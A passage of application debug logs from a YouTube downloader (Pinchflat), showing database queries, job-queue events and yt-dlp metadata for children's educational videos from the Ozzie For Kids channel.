place.\n\nSUBSCRIBE and join the adventure\nhttps://www.youtube.com/channel/UCqP9NRMs8Ndda4tidpAuajQ?sub_confirmation=1\n\nBrand new Ozzie episode every Sunday\nhttps://www.youtube.com/OzzieForKids\n\nβ€”\n\nFollow Ozzie\n\nInstagram\nhttps://www.instagram.com/ozzie_forkids\n\nFacebook\nhttps://www.facebook.com/ozzieforkids\n\nβ€”\n\n#CarWash #CarWashSong #CarsForKids #OzzieForKids #EducationalVideosForKids #StayKeen #KidsSongs #SingAlong #EducationalSongs", "duration" => 123, "filename" => "/downloads/shows/OzzieForKids/Season 2026/OzzieForKids - 2026-07-29 - πŸš—πŸ«§ Car Wash Song with Words for Kids! | Sing Along & Wash Cars with Ozzie.mp4", "id" => "oSCVp71JJzI", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=oSCVp71JJzI", "playlist_index" => 11, "timestamp" => 1785365460, "title" => "πŸš—πŸ«§ Car Wash Song with Words for Kids! | Sing Along & Wash Cars with Ozzie", "upload_date" => "20260729"} 13:15:40.817 [debug] QUERY OK source="sources" db=0.4ms idle=311.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [7] 13:15:40.817 [debug] QUERY OK source="sources" db=0.3ms idle=312.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [7] 13:15:40.819 [debug] QUERY OK source="media_items" db=1.4ms idle=312.8ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-07-29 22:51:00Z], 7] 13:15:40.823 [debug] QUERY OK source="media_items" db=2.0ms queue=0.1ms idle=315.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Get ready to sing, scrub and splash with Ozzie in this fun Car Wash Song with Words for Kids!\n\nJoin Ozzie as we wash dirty cars, spray water, scrub away the mud, rinse off the bubbles and make every vehicle sparkle. With on-screen words, it's easy to sing along while learning all about how a car wash works!\n\nClap your hands, stomp your feet and join the action as we clean cars together in this catchy sing-along adventure.\n\nMusic helps us learn new words, build confidence and remember exciting new things. So grab your sponge, turn on the hose and let's get those cars sparkling clean!\n\nPerfect for curious kids aged 2–10, this episode is full of music, movement and discovery.\n\nKids will learn about:\n\nβ€’ How a car wash works\nβ€’ The steps to washing a car\nβ€’ Different car washing tools and equipment\n\nTopics kids will learn about in this video:\n\nβ€’ car wash song with words\nβ€’ car wash song for kids\nβ€’ sing along songs for kids\nβ€’ car wash for kids\nβ€’ washing cars for kids\nβ€’ cars and trucks for kids\nβ€’ vehicle learning songs\n\nGrab some fun Ozzie merch\nhttps://ozzieforkids.com/merch\n\nβ€”\n\nG'day kids, Ozzie here!\n\nI'm an Australian kids' entertainer creating educational videos for kids designed to entertain, excite, engage and help you learn about the world around you.\n\nIf you love exploring machines, animals, sports, science and how things work, you're in the right place.\n\nSUBSCRIBE and join the adventure\nhttps://www.youtube.com/channel/UCqP9NRMs8Ndda4tidpAuajQ?sub_confirmation=1\n\nBrand new Ozzie episode every Sunday\nhttps://www.youtube.com/OzzieForKids\n\nβ€”\n\nFollow Ozzie\n\nInstagram\nhttps://www.instagram.com/ozzie_forkids\n\nFacebook\nhttps://www.facebook.com/ozzieforkids\n\nβ€”\n\n#CarWash #CarWashSong #CarsForKids #OzzieForKids #EducationalVideosForKids #StayKeen #KidsSongs #SingAlong #EducationalSongs", "πŸš—πŸ«§ Car Wash Song with Words for Kids! | Sing Along & Wash Cars with Ozzie", "00c8fbb8-d39f-4768-976b-f7da930d9de0", 123, false, "oSCVp71JJzI", "https://www.youtube.com/watch?v=oSCVp71JJzI", 11, "/downloads/shows/OzzieForKids/Season 2026/OzzieForKids - 2026-07-29 - πŸš—πŸ«§ Car Wash Song with Words for Kids! | Sing Along & Wash Cars with Ozzie.mp4", false, false, false, 7, [], 98, ~U[2026-07-29 22:51:00Z], ~U[2026-09-03 03:15:40Z], ~U[2026-09-03 03:15:40Z], "Get ready to sing, scrub and splash with Ozzie in this fun Car Wash Song with Words for Kids!\n\nJoin Ozzie as we wash dirty cars, spray water, scrub away the mud, rinse off the bubbles and make every vehicle sparkle. With on-screen words, it's easy to sing along while learning all about how a car wash works!\n\nClap your hands, stomp your feet and join the action as we clean cars together in this catchy sing-along adventure.\n\nMusic helps us learn new words, build confidence and remember exciting new things. So grab your sponge, turn on the hose and let's get those cars sparkling clean!\n\nPerfect for curious kids aged 2–10, this episode is full of music, movement and discovery.\n\nKids will learn about:\n\nβ€’ How a car wash works\nβ€’ The steps to washing a car\nβ€’ Different car washing tools and equipment\n\nTopics kids will learn about in this video:\n\nβ€’ car wash song with words\nβ€’ car wash song for kids\nβ€’ sing along songs for kids\nβ€’ car wash for kids\nβ€’ washing cars for kids\nβ€’ cars and trucks for kids\nβ€’ vehicle learning songs\n\nGrab some fun Ozzie merch\nhttps://ozzieforkids.com/merch\n\nβ€”\n\nG'day kids, Ozzie here!\n\nI'm an Australian kids' entertainer creating educational videos for kids designed to entertain, excite, engage and help you learn about the world around you.\n\nIf you love exploring machines, animals, sports, science and how things work, you're in the right place.\n\nSUBSCRIBE and join the adventure\nhttps://www.youtube.com/channel/UCqP9NRMs8Ndda4tidpAuajQ?sub_confirmation=1\n\nBrand new Ozzie episode every Sunday\nhttps://www.youtube.com/OzzieForKids\n\nβ€”\n\nFollow Ozzie\n\nInstagram\nhttps://www.instagram.com/ozzie_forkids\n\nFacebook\nhttps://www.facebook.com/ozzieforkids\n\nβ€”\n\n#CarWash #CarWashSong #CarsForKids #OzzieForKids #EducationalVideosForKids #StayKeen #KidsSongs #SingAlong #EducationalSongs", "πŸš—πŸ«§ Car Wash Song with Words for Kids! | Sing Along & Wash Cars with Ozzie", 123, false, "oSCVp71JJzI", "https://www.youtube.com/watch?v=oSCVp71JJzI", "/downloads/shows/OzzieForKids/Season 2026/OzzieForKids - 2026-07-29 - πŸš—πŸ«§ Car Wash Song with Words for Kids! | Sing Along & Wash Cars with Ozzie.mp4", false, 7, ~U[2026-07-29 22:51:00Z]] 13:15:40.824 [debug] QUERY OK source="sources" db=0.9ms queue=0.2ms idle=135.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [7] 13:15:40.826 [debug] QUERY OK source="media_profiles" db=0.7ms queue=0.2ms idle=8.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [3] 13:15:40.828 [debug] QUERY OK source="media_items" db=0.7ms queue=0.2ms idle=9.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [9748] 13:15:40.828 [debug] Current batch of media processed. Will check again in 1000ms 13:15:41.837 [debug] Current batch of media processed. Will check again in 1000ms 13:15:42.707 [info] {"args":{"id":14408},"id":2349,"meta":{},"system_time":1788405342706535645,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":3,"tags":["media_item","media_fetching","show_in_dashboard"]} 13:15:42.708 [debug] QUERY OK source="media_items" db=0.7ms queue=0.1ms idle=201.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [14408] 13:15:42.709 [info] User scripts lifecyle file either not present or is empty. Skipping. 13:15:42.710 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=203.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [7] 13:15:42.711 [debug] QUERY OK source="media_profiles" db=0.5ms queue=0.1ms idle=204.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [3] 13:15:42.713 [debug] QUERY OK source="media_items" db=0.6ms queue=0.2ms idle=15.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [14408] 13:15:42.717 [debug] QUERY OK source="media_metadata" db=0.7ms idle=10.1ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [14408] 13:15:42.718 [debug] QUERY OK source="media_profiles" db=0.7ms queue=0.1ms idle=9.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [3] 13:15:42.719 [debug] QUERY OK source="settings" db=0.3ms idle=8.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:15:42.720 [debug] QUERY OK source="settings" db=0.1ms idle=8.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:15:42.721 [debug] Running yt-dlp command for action: get_downloadable_status 13:15:42.723 [debug] QUERY OK source="settings" db=0.4ms idle=10.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:15:42.724 [debug] QUERY OK source="settings" db=0.4ms idle=6.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:15:42.725 [debug] QUERY OK source="settings" db=0.4ms idle=6.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:15:42.725 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=DNmCbpKM_xY --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/51/26/5126e3a9885095fcfa7ab6ad491db6fa663e03983bc08cfb1f2a0aaaf00f011c.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 13:15:42.838 [debug] Current batch of media processed. Will check again in 1000ms 13:15:43.359 [info] {"source":"oban","duration":14001,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:15:43.843 [debug] Current batch of media processed. Will check again in 1000ms 13:15:44.850 [debug] Current batch of media processed. Will check again in 1000ms 13:15:45.850 [debug] Current batch of media processed. Will check again in 1000ms 13:15:46.852 [debug] Current batch of media processed. Will check again in 1000ms 13:15:47.853 [debug] Current batch of media processed. Will check again in 1000ms 13:15:48.854 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today we're enjoying 1 whole hour of lawn mowing adventures, awesome machines and catchy songs! 🚜🌿🎡\n\nLooking for fun educational videos for kids? Ozzie explores machines, animals, sports, science and how things work!\n\nWelcome to Ozzie For Kids, where we explore amazing machines and learn through fun adventures and music!\n\nIf your child loves lawn mowers, ride-on mowers, leaf blowers, whipper snippers and outdoor machines, this ultimate 1-hour compilation is packed with exciting adventures, educational fun and sing-along songs.\n\nJoin Ozzie as we mow lawns, tidy gardens, explore all kinds of incredible yard equipment and discover how these machines help keep our parks, playgrounds and backyards looking clean, safe and beautiful.\n\nPerfect for toddlers, preschoolers and young machine lovers who enjoy learning through music and play!\n\nIn this 1-hour compilation you'll enjoy:\n\n🚜 Lawn mower adventures\n🌿 Ride-on mowers and push mowers\nπŸƒ Leaf blowers\n🌱 Whipper snippers (string trimmers)\n🌳 Yard work adventures\n🎡 Fun lawn mower songs\n🎢 Sing-along music\nπŸ“š Educational fun for curious kids\n\nKids will learn about:\n\nβ€’ How different lawn mowers work\nβ€’ The jobs of leaf blowers and whipper snippers\nβ€’ How people care for gardens, parks and outdoor spaces\nβ€’ Yard safety and using machines responsibly\nβ€’ Looking after our environment and community\n\nTopics kids will learn about in this video:\n\nβ€’ Lawn Mowers For Kids\nβ€’ Ride-On Mowers For Kids\nβ€’ Push Mowers For Kids\nβ€’ Leaf Blowers For Kids\nβ€’ Whipper Snippers For Kids\nβ€’ Gardening For Kids\nβ€’ Outdoor Machines For Kids\n\nGrab some fun Ozzie merch\nhttps://ozzieforkids.com/merch\n\nβ€”\n\nG'day kids, Ozzie here!\n\nI'm an Australian kids' entertainer creating educational videos for kids designed to entertain, excite, engage and help you learn about the world around you.\n\nIf you love exploring machines, animals, sports, science and how things work, you're in the right place.\n\nSUBSCRIBE and join the adventure\nhttps://www.youtube.com/channel/UCqP9NRMs8Ndda4tidpAuajQ?sub_confirmation=1\n\nBrand new Ozzie episode every Sunday\nhttps://www.youtube.com/OzzieForKids\n\nβ€”\n\nFollow Ozzie\n\nInstagram\nhttps://www.instagram.com/ozzie_forkids\n\nFacebook\nhttps://www.facebook.com/ozzieforkids\n\nβ€”\n\n#LawnMowers #LawnMowing #RideOnMower #LeafBlower #WhipperSnipper #OzzieForKids #EducationalVideosForKids #StayKeen #KidsSongs #SingAlong #EducationalSongs", "duration" => 4626, "filename" => "/downloads/shows/OzzieForKids/Season 2026/OzzieForKids - 2026-07-24 - 1 Hour of Lawn Mowing for Kids! 🚜 Lawn Mowers, Yard Work & Songs with Ozzie.mp4", "id" => "L1--SSvALzw", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=L1--SSvALzw", "playlist_index" => 12, "timestamp" => 1784901620, "title" => "1 Hour of Lawn Mowing for Kids! 🚜 Lawn Mowers, Yard Work & Songs with Ozzie", "upload_date" => "20260724"} 13:15:48.857 [debug] QUERY OK source="sources" db=1.0ms queue=0.5ms idle=344.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [7] 13:15:48.858 [debug] QUERY OK source="sources" db=0.7ms queue=0.1ms idle=347.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [7] 13:15:48.863 [debug] QUERY OK source="media_items" db=4.1ms queue=0.1ms idle=348.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-07-24 14:00:20Z], 7] 13:15:48.868 [debug] QUERY OK source="media_items" db=3.9ms queue=0.1ms idle=353.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today we're enjoying 1 whole hour of lawn mowing adventures, awesome machines and catchy songs! 🚜🌿🎡\n\nLooking for fun educational videos for kids? Ozzie explores machines, animals, sports, science and how things work!\n\nWelcome to Ozzie For Kids, where we explore amazing machines and learn through fun adventures and music!\n\nIf your child loves lawn mowers, ride-on mowers, leaf blowers, whipper snippers and outdoor machines, this ultimate 1-hour compilation is packed with exciting adventures, educational fun and sing-along songs.\n\nJoin Ozzie as we mow lawns, tidy gardens, explore all kinds of incredible yard equipment and discover how these machines help keep our parks, playgrounds and backyards looking clean, safe and beautiful.\n\nPerfect for toddlers, preschoolers and young machine lovers who enjoy learning through music and play!\n\nIn this 1-hour compilation you'll enjoy:\n\n🚜 Lawn mower adventures\n🌿 Ride-on mowers and push mowers\nπŸƒ Leaf blowers\n🌱 Whipper snippers (string trimmers)\n🌳 Yard work adventures\n🎡 Fun lawn mower songs\n🎢 Sing-along music\nπŸ“š Educational fun for curious kids\n\nKids will learn about:\n\nβ€’ How different lawn mowers work\nβ€’ The jobs of leaf blowers and whipper snippers\nβ€’ How people care for gardens, parks and outdoor spaces\nβ€’ Yard safety and using machines responsibly\nβ€’ Looking after our environment and community\n\nTopics kids will learn about in this video:\n\nβ€’ Lawn Mowers For Kids\nβ€’ Ride-On Mowers For Kids\nβ€’ Push Mowers For Kids\nβ€’ Leaf Blowers For Kids\nβ€’ Whipper Snippers For Kids\nβ€’ Gardening For Kids\nβ€’ Outdoor Machines For Kids\n\nGrab some fun Ozzie merch\nhttps://ozzieforkids.com/merch\n\nβ€”\n\nG'day kids, Ozzie here!\n\nI'm an Australian kids' entertainer creating educational videos for kids designed to entertain, excite, engage and help you learn about the world around you.\n\nIf you love exploring machines, animals, sports, science and how things work, you're in the right place.\n\nSUBSCRIBE and join the adventure\nhttps://www.youtube.com/channel/UCqP9NRMs8Ndda4tidpAuajQ?sub_confirmation=1\n\nBrand new Ozzie episode every Sunday\nhttps://www.youtube.com/OzzieForKids\n\nβ€”\n\nFollow Ozzie\n\nInstagram\nhttps://www.instagram.com/ozzie_forkids\n\nFacebook\nhttps://www.facebook.com/ozzieforkids\n\nβ€”\n\n#LawnMowers #LawnMowing #RideOnMower #LeafBlower #WhipperSnipper #OzzieForKids #EducationalVideosForKids #StayKeen #KidsSongs #SingAlong #EducationalSongs", "1 Hour of Lawn Mowing for Kids! 🚜 Lawn Mowers, Yard Work & Songs with Ozzie", "02a67c58-0d2c-4930-b002-aae4248a6aa6", 4626, false, "L1--SSvALzw", "https://www.youtube.com/watch?v=L1--SSvALzw", 12, "/downloads/shows/OzzieForKids/Season 2026/OzzieForKids - 2026-07-24 - 1 Hour of Lawn Mowing for Kids! 🚜 Lawn Mowers, Yard Work & Songs with Ozzie.mp4", false, false, false, 7, [], 98, ~U[2026-07-24 14:00:20Z], ~U[2026-09-03 03:15:48Z], ~U[2026-09-03 03:15:48Z], "Today we're enjoying 1 whole hour of lawn mowing adventures, awesome machines and catchy songs! 🚜🌿🎡\n\nLooking for fun educational videos for kids? Ozzie explores machines, animals, sports, science and how things work!\n\nWelcome to Ozzie For Kids, where we explore amazing machines and learn through fun adventures and music!\n\nIf your child loves lawn mowers, ride-on mowers, leaf blowers, whipper snippers and outdoor machines, this ultimate 1-hour compilation is packed with exciting adventures, educational fun and sing-along songs.\n\nJoin Ozzie as we mow lawns, tidy gardens, explore all kinds of incredible yard equipment and discover how these machines help keep our parks, playgrounds and backyards looking clean, safe and beautiful.\n\nPerfect for toddlers, preschoolers and young machine lovers who enjoy learning through music and play!\n\nIn this 1-hour compilation you'll enjoy:\n\n🚜 Lawn mower adventures\n🌿 Ride-on mowers and push mowers\nπŸƒ Leaf blowers\n🌱 Whipper snippers (string trimmers)\n🌳 Yard work adventures\n🎡 Fun lawn mower songs\n🎢 Sing-along music\nπŸ“š Educational fun for curious kids\n\nKids will learn about:\n\nβ€’ How different lawn mowers work\nβ€’ The jobs of leaf blowers and whipper snippers\nβ€’ How people care for gardens, parks and outdoor spaces\nβ€’ Yard safety and using machines responsibly\nβ€’ Looking after our environment and community\n\nTopics kids will learn about in this video:\n\nβ€’ Lawn Mowers For Kids\nβ€’ Ride-On Mowers For Kids\nβ€’ Push Mowers For Kids\nβ€’ Leaf Blowers For Kids\nβ€’ Whipper Snippers For Kids\nβ€’ Gardening For Kids\nβ€’ Outdoor Machines For Kids\n\nGrab some fun Ozzie merch\nhttps://ozzieforkids.com/merch\n\nβ€”\n\nG'day kids, Ozzie here!\n\nI'm an Australian kids' entertainer creating educational videos for kids designed to entertain, excite, engage and help you learn about the world around you.\n\nIf you love exploring machines, animals, sports, science and how things work, you're in the right place.\n\nSUBSCRIBE and join the adventure\nhttps://www.youtube.com/channel/UCqP9NRMs8Ndda4tidpAuajQ?sub_confirmation=1\n\nBrand new Ozzie episode every Sunday\nhttps://www.youtube.com/OzzieForKids\n\nβ€”\n\nFollow Ozzie\n\nInstagram\nhttps://www.instagram.com/ozzie_forkids\n\nFacebook\nhttps://www.facebook.com/ozzieforkids\n\nβ€”\n\n#LawnMowers #LawnMowing #RideOnMower #LeafBlower #WhipperSnipper #OzzieForKids #EducationalVideosForKids #StayKeen #KidsSongs #SingAlong #EducationalSongs", "1 Hour of Lawn Mowing for Kids! 🚜 Lawn Mowers, Yard Work & Songs with Ozzie", 4626, false, "L1--SSvALzw", "https://www.youtube.com/watch?v=L1--SSvALzw", "/downloads/shows/OzzieForKids/Season 2026/OzzieForKids - 2026-07-24 - 1 Hour of Lawn Mowing for Kids! 🚜 Lawn Mowers, Yard Work & Songs with Ozzie.mp4", false, 7, ~U[2026-07-24 14:00:20Z]] 13:15:48.871 [debug] QUERY OK source="sources" db=2.0ms queue=0.1ms idle=143.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [7] 13:15:48.874 [debug] QUERY OK source="media_profiles" db=1.5ms queue=0.4ms idle=15.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", 